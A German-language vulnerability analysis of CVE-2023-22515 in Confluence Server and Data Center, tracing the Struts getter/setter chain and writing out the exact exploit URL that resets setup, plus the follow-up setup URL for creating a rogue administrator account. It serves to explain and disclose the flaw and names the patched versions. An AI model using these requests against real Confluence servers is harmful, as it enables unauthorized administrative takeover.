
Server Broken Access Control in Confluence – CVE-2023-22515
Atlassian wurde über eine mögliche Sicherheitslücke informiert, die ausgenutzt werden könnte und die Umgebung durch administrativen Zugriff gefährdet. Am 4. Oktober 2023 veröffentlichte Atlassian eine Sicherheitswarnung bezüglich CVE-2023-22515, die einen CVE-Wert von 10,0 erhielt. Die Sicherheitslücke wurde in Version 8.0.0 von Confluence Server und Data Center Editionen eingeführt und ist in den Versionen <8.3.3, <8.4.3, <8.5.2 vorhanden.
Ein Angreifer kann die Sicherheitslücke ausnutzen, um ein zusätzliches Konto in Confluence mit vollen Administratorrechten zu erstellen. Der Angreifer benötigt keine Vorkenntnisse, um die Sicherheitslücke auszunutzen. Es wird angenommen, dass die Sicherheitslücke andere unbekannte Angriffsvektoren ermöglicht, und sie sollte so schnell wie möglich gepatcht werden.
Mit dieser Sicherheitslücke kann der Angreifer zur Einrichtungsphase der Confluence-Konfiguration zurückkehren und einen neuen Benutzer mit Administratorzugriff erstellen. Dies ist alles möglich, weil Confluence mit dem Apache Struts Framework erstellt wurde, das vom XWork-Paket abhängt. XWork ermöglicht es, Aktionen in Form einer Java-Klasse zu definieren. Jede Aktion kann über eine URL aufgerufen werden, und die entsprechende Java-Klasse bearbeitet die Anfrage, führt aus, was die Aktion erfordert, und gibt eine Antwort aus.
Dieses Problem tritt hauptsächlich aufgrund einer Klassenaktion auf, bei der wir Attribute über die URL aufrufen können.
Die Ausnutzung findet in der Aktion ServerInfoAction statt, wo wir die Getter/Setter der Klasse manipulieren und die Einrichtungskonfiguration zurücksetzen können.
Wenn Sie den Code der Klasse ServerInfoAction analysieren, werden Sie sehen, dass sie von der Klasse ConfluenceActionSupport erbt. Dadurch erbt sie auch alle ihre Methoden. Eine solche Methode ist ein Getter, der ein BootstrapStatusProvider-Objekt zurückgibt:
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}
}
Wir interessieren uns für die Klasse BootstrapStatusProvider, weil sie eine weitere Getter-Methode hat, mit der wir ein ApplicationConfiguration-Objekt abrufen können:
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
}
Dieses Objekt enthält die Anwendungskonfiguration, einschließlich eines Attributs, das Confluence mitteilt, ob die Ersteinrichtung abgeschlossen wurde. Ein solches Attribut kann mithilfe eines Setters in der ApplicationConfig-Klasse geändert werden:
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
}
Wenn wir setSetupComplete(false) aufrufen können, können wir den Einrichtungskonfigurationsprozess zurücksetzen, und wir können dies mit den Getter/Setter-Methoden wie folgt tun:
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
Diese URL ruft alle zuvor genannten Methoden auf und gelangt zur Zielmethode, die für das Zurücksetzen der Einrichtung verantwortlich ist.
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)
Nachfolgend sehen Sie ein Beispiel eines Servers mit einer angreifbaren Version von Confluence.
Versuchen wir, den Einrichtungsprozess mit dem oben beschriebenen Methodenaufruf neu zu starten:
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
Nachdem wir den Parameter setupcomplete auf false gesetzt haben, erhalten wir die Rückmeldung 'success'. Das bedeutet, dass der Versuch, den Parameter zu ändern, erfolgreich war.
Versuchen wir, ein neues Konto zu erstellen, indem wir die Setup-URL aufrufen, mit der wir den Prozess zurückgesetzt haben.
http://atlassian.poc:8090/setup/setupadministrator-start.action
Wir konnten den Einrichtungsprozess zurücksetzen und einen neuen Benutzer mit Administratorzugriff erstellen.
Die Sicherheitslücke wurde in den Versionen 8.3.3, 8.4.3 und 8.5.2 behoben. Alle neueren Versionszweige sollten ebenfalls sicher sein.
Weitere Details zu dieser Sicherheitslücke hat Atlassian auf seiner Website veröffentlicht (Mehr dazu - Atlassian).